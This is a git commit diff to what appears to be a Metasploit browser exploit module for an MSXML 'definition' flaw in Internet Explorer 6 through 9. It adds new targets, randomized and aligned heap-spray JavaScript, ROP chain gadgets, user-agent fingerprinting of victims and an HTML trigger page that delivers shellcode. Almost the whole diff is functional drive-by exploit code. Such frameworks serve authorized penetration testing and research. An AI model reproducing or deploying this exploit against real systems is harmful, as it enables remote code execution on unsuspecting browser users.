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Updating MSXML module with more targets
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@todb
todb committed Jun 20, 2012
1 parent cd1a3d5 commit 52b1995
Showing 1 changed file with 164 additions and 55 deletions.
219 changes: 164 additions & 55 deletions modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
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Expand Up @@ -15,12 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
:method => "definition",
:rank => NormalRanking
:rank => GoodRanking
})

def initialize(info={})
Expand Down Expand Up @@ -55,7 +55,7 @@ def initialize(info={})
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
Expand All @@ -67,20 +67,23 @@ def initialize(info={})
'IE 6 on Windows XP SP3',
{
'Offset' => '0x100',
'Rop' => nil
'Rop' => nil,
'RandomHeap' => false
}
],
[
'IE 7 on Windows XP SP3',
'IE 7 on Windows XP SP3 / Vista SP2',
{
'Offset' => '0x100',
'Rop' => nil
'Rop' => nil,
'RandomHeap' => false
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :msvcrt,
'RandomHeap' => false,
'RopChainOffset' => '0x5f4',
'Offset' => '0x0',
'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
Expand All @@ -90,19 +93,31 @@ def initialize(info={})
'IE 8 with Java 6 on Windows XP SP3',
{
'Rop' => :jre,
'RandomHeap' => false,
'RopChainOffset' => '0x5f4',
'Offset' => '0x0',
'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
[
'IE 8 with Java 6 on Windows 7 SP1',
'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
{
'Rop' => :jre,
'RandomHeap' => false,
'RopChainOffset' => '0x5f4',
'Offset' => '0x0',
'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
[
'IE 9 with Java 6 on Windows 7 SP1',
{
'Rop' => :jre,
'RandomHeap' => true,
'RopChainOffset' => 0x5FC,
'Offset' => '0x0',
'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
]
],
'Privileged' => false,
Expand All @@ -123,10 +138,14 @@ def get_target(agent)
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows Vista SP2
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7 SP1
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7 SP1/Vista SP2
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
return targets[6] #IE 9 on Windows 7 SP1
else
return nil
end
Expand Down Expand Up @@ -160,7 +179,13 @@ def popret(t)

def get_rop_chain(t)

adjust = ret(t)
if t['RandomHeap']
adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
adjust << ret(t)
else
adjust = ret(t)
end

adjust << popret(t)
adjust << [ t['StackPivot'] ].pack("V")
adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)
Expand Down Expand Up @@ -219,45 +244,51 @@ def get_rop_chain(t)
return code
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
def get_easy_spray(t, js_code, js_nops)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
while (nops.length < 0x80000) nops += nops;
if my_target['Rop'].nil?
js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);"
else
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
js_shellcode = <<-JS_ROP
var rop_chain = unescape("#{js_rop}");
var nops_padding = nops.substring(0, #{my_target['RopChainOffset']}-code.length-offset.length);
var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
JS_ROP
js_shellcode = js_shellcode.gsub(/^\t\t\t/, '')
end
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var z=1; z < 0x230; z++) {
heap_obj.alloc(block);
}
JS

return spray

end


def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

spray = <<-JS
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
var nops_90 = unescape("#{js_90_nops}");
var rop_chain = unescape("#{js_rop}");
while (nops.length < 0x80000) nops += nops;
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset = nops.substring(0, #{my_target['Offset']});
#{js_shellcode}
var offset = nops.substring(0, #{t['Offset']});
var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
Expand All @@ -270,31 +301,101 @@ def on_request_uri(cli, request)
JS

js = heaplib(js, {:noobfu => true})
return spray

object_id = rand_text_alpha(4)
end

js_trigger = <<-TRIGGER
var obj = document.getElementById('#{object_id}').object;
var src = unescape("%u0c08%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(1000);
TRIGGER
# Spray published by corelanc0d3r
# Exploit writing tutorial part 11 : Heap Spraying Demystified
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
def get_random_spray(t, js_rop, js_code, js_90_nops)

spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var rop = unescape("#{js_rop}");
var code = unescape("#{js_code}");
var nops_90 = unescape("#{js_90_nops}");
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset_length = #{t['RopChainOffset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length - code.length);
var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS

return spray
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

js_trigger = heaplib(js_trigger, {:noobfu => true})

if not my_target['Rop'].nil?
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
end

if my_target['RandomHeap']
js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
elsif not my_target['Rop'].nil?
js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
else
js = get_easy_spray(my_target, js_code, js_nops)
end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
js_trigger =::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
end

object_id = rand_text_alpha(4)

html = <<-EOS
<html>
<head>
Expand All @@ -305,7 +406,15 @@ def on_request_uri(cli, request)
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
<script>
#{js_trigger}
var obj = document.getElementById('#{object_id}').object;
var src = unescape("%u0c08%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(#{rand(999) + 1});
</script>
</body>
</html>
Expand Down Expand Up @@ -360,4 +469,4 @@ def on_request_uri(cli, request)
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219
=end
=end

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